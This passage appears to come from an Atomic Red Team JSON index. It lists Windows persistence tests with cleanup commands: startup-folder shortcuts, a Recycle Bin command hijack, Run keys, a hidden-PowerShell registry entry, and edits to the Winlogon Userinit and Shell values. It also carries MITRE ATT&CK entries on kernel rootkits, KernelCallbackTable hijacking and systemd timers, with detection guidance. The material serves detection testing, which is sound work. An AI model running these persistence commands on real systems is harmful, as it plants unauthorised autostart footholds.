to User Startup Folder", - "auto_generated_guid": "24e55612-85f6-4bd6-ae74-a73d02e3441d", - "description": "Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save() ", - "cleanup_command": "Remove-Item \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\" -ErrorAction Ignore", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Add persistance via Recycle bin", - "auto_generated_guid": "bda6a3d6-7aa7-4e89-908b-306772e9662f", - "description": "Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)\nUser have to clic on the recycle bin to lauch the payload (here calc)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg ADD \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command\" /ve /d \"calc.exe\" /f", - "cleanup_command": "reg DELETE \"HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\" /f", - "name": "command_prompt" - } - }, - { - "name": "SystemBC Malware-as-a-Service Registry", - "auto_generated_guid": "9dc7767b-30c1-4cc4-b999-50cab5e27891", - "description": "This Atomic will create a registry key called socks5_powershell for persistance access\nhttps://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "reg_key_value": { - "description": "Thing to Run", - "type": "path", - "default": "powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File" - }, - "reg_key_path": { - "description": "Path to registry key to update", - "type": "path", - "default": "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" - } - }, - "executor": { - "command": "$RunKey = \"#{reg_key_path}\"\nSet-ItemProperty -Path $RunKey -Name \"socks5_powershell\" -Value \"#{reg_key_value}\"\n", - "cleanup_command": "Remove-ItemProperty -Path #{reg_key_path} -Name \"socks5_powershell\" -Force -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value", - "auto_generated_guid": "acfef903-7662-447e-a391-9c91c2f00f7b", - "description": "This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "new_startup_folder": { - "description": "new startup folder to replace standard one", - "type": "string", - "default": "$env:TMP\\atomictest\\" - }, - "payload": { - "description": "executable to be placed in new startup location ", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "New-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"#{new_startup_folder}\"\n", - "cleanup_command": "Set-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"#{new_startup_folder}\" -Recurse -Force\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Change Startup Folder - HKCU Modify User Shell Folders Startup Value", - "auto_generated_guid": "8834b65a-f808-4ece-ad7e-2acdf647aafa", - "description": "This test will modify the HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Startup\" value \nto point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "new_startup_folder": { - "description": "new startup folder to replace standard one", - "type": "string", - "default": "$env:TMP\\atomictest\\" - }, - "payload": { - "description": "executable to be placed in new startup location ", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "New-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"#{new_startup_folder}\"\n", - "cleanup_command": "Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Startup\" -Value \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nRemove-Item \"#{new_startup_folder}\" -Recurse -Force\n", - "name": "powershell" - } - }, - { - "name": "HKCU - Policy Settings Explorer Run Key", - "auto_generated_guid": "a70faea1-e206-4f6f-8d9a-67379be8f6f1", - "description": "This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run to launch calc.exe on boot. \n*Requires reboot\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_key_value_name": { - "description": "registry value to crate on target key", - "type": "string", - "default": "atomictest" - }, - "payload": { - "description": "payload to execute", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "if (!(Test-Path -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\"", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "HKLM - Policy Settings Explorer Run Key", - "auto_generated_guid": "b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f", - "description": "This test will create a HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run key value to launch calc.exe on boot. \n*Requires reboot\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "target_key_value_name": { - "description": "registry value to crate on target key", - "type": "string", - "default": "atomictest" - }, - "payload": { - "description": "payload to execute", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "if (!(Test-Path -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\")){\n New-Item -ItemType Key -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\"\n}\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\" -Value \"#{payload}\"\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\" -Name \"#{target_key_value_name}\"", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "HKLM - Append Command to Winlogon Userinit KEY Value", - "auto_generated_guid": "f7fab6cc-8ece-4ca7-a0f1-30a22fccd374", - "description": "This test will append a command to the HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit value to launch calc.exe on boot.\n* Requires reboot\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "payload": { - "description": "what to run", - "type": "string", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \" #{payload}\";\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$newvalue\"\n", - "cleanup_command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Userinit\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Userinit-backup'", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "HKLM - Modify default System Shell - Winlogon Shell KEY Value ", - "auto_generated_guid": "1d958c61-09c6-4d9e-b26b-4130314e520e", - "description": "This test change the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell from \"explorer.exe\" to the full path of \"C:\\Windows\\explorer.exe\" \nto log a change to the key's default value without breaking boot sequence. \nAn atacker will alternatively replace this with a custom shell. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "payload": { - "description": "what to run", - "type": "string", - "default": "C:\\Windows\\explorer.exe" - } - }, - "executor": { - "command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\");\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell-backup\" -Value \"$oldvalue\";\n$newvalue = $oldvalue + \", #{payload}\";\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$newvalue\"\n", - "cleanup_command": "$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup');\nSet-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name \"Shell\" -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name 'Shell-backup'", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "secedit used to create a Run key in the HKLM Hive", - "auto_generated_guid": "14fdc3f1-6fc3-4556-8d36-aa89d9d42d02", - "description": "secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.\n[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "ini_file": { - "description": "INI config template", - "type": "string", - "default": "$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini" - }, - "secedit_db": { - "description": "Custom secedit db", - "type": "string", - "default": "mytemplate.db" - } - }, - "executor": { - "command": "secedit /import /db #{secedit_db} /cfg #{ini_file}\nsecedit /configure /db #{secedit_db}\n", - "cleanup_command": "REG DELETE \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"calc\" /f >nul 2>&1", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1547.006": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Wayne Silva, F-Secure Countercept", - "Anastasios Pingios", - "Jeremy Galloway", - "Red Canary", - "Eric Kaiser @ideologysec" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6", - "created": "2020-01-24T17:42:23.339Z", - "x_mitre_version": "1.3", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.006", - "url": "https://attack.mitre.org/techniques/T1547/006" - }, - { - "source_name": "Apple Developer Configuration Profile", - "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf", - "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021." - }, - { - "source_name": "Apple Kernel Extension Deprecation", - "url": "https://developer.apple.com/support/kernel-extensions/", - "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020." - }, - { - "source_name": "System and kernel extensions in macOS", - "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web", - "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022." - }, - { - "source_name": "GitHub Reptile", - "url": "https://github.com/f0rb1dd3n/Reptile", - "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018." - }, - { - "source_name": "Volatility Phalanx2", - "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", - "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018." - }, - { - "source_name": "iDefense Rootkit Overview", - "url": "http://www.megasecurity.org/papers/Rootkits.pdf", - "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018." - }, - { - "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", - "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html", - "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018." - }, - { - "source_name": "CrowdStrike Linux Rootkit", - "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", - "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017." - }, - { - "source_name": "GitHub Diamorphine", - "url": "https://github.com/m0nad/Diamorphine", - "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018." - }, - { - "source_name": "Securelist Ventir", - "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", - "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018." - }, - { - "source_name": "User Approved Kernel Extension Pike\u2019s", - "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/", - "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021." - }, - { - "source_name": "Linux Kernel Module Programming Guide", - "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html", - "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018." - }, - { - "source_name": "Linux Kernel Programming", - "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", - "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018." - }, - { - "source_name": "Trend Micro Skidmap", - "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", - "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020." - }, - { - "source_name": "Purves Kextpocalypse 2", - "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/", - "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021." - }, - { - "source_name": "RSAC 2015 San Francisco Patrick Wardle", - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018." - }, - { - "source_name": "Synack Secure Kernel Extension Broken", - "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", - "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018." - }, - { - "source_name": "Wikipedia Loadable Kernel Module", - "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux", - "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)", - "modified": "2022-04-20T18:53:39.406Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Autostart Execution: Kernel Modules and Extensions", - "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "File: File Modification", - "Process: Process Creation", - "Command: Command Execution", - "Kernel: Kernel Module Load" - ], - "x_mitre_permissions_required": [ - "root" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.006" - }, - "atomic_tests": [] - }, - "T1574.013": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "type": "attack-pattern", - "created": "2022-02-25T15:27:44.927Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.013", - "url": "https://attack.mitre.org/techniques/T1574/013" - }, - { - "source_name": "Lazarus APT January 2022", - "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", - "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022." - }, - { - "source_name": "FinFisher exposed ", - "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", - "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022." - }, - { - "source_name": "Windows Process Injection KernelCallbackTable", - "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/", - "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022." - }, - { - "source_name": "NtQueryInformationProcess", - "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess", - "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022." - } - ], - "modified": "2022-03-22T15:47:33.915Z", - "name": "KernelCallbackTable", - "description": "Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution" - ] - }, - "atomic_tests": [] - }, - "T1053.006": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "SarathKumar Rajendran, Trimble Inc" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21", - "type": "attack-pattern", - "created": "2020-10-12T17:50:31.584Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.006", - "url": "https://attack.mitre.org/techniques/T1053/006" - }, - { - "source_name": "archlinux Systemd Timers Aug 2020", - "url": "https://wiki.archlinux.org/index.php/Systemd/Timers", - "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020." - }, - { - "source_name": "Systemd Remote Control", - "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/", - "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021." - }, - { - "source_name": "Linux man-pages: systemd January 2014", - "url": "http://man7.org/linux/man-pages/man1/systemd.1.html", - "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019." - }, - { - "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.", - "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/", - "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018" - }, - { - "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.", - "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a", - "source_name": "gist Arch package compromise 10JUL2018" - }, - { - "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.", - "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html", - "source_name": "acroread package compromised Arch Linux Mail 8JUL2018" - } - ], - "modified": "2021-07-27T16:43:25.027Z", - "name": "Scheduled Task/Job: Systemd Timers", - "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation", - "Command: Command Execution", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "User", - "root" - ], - 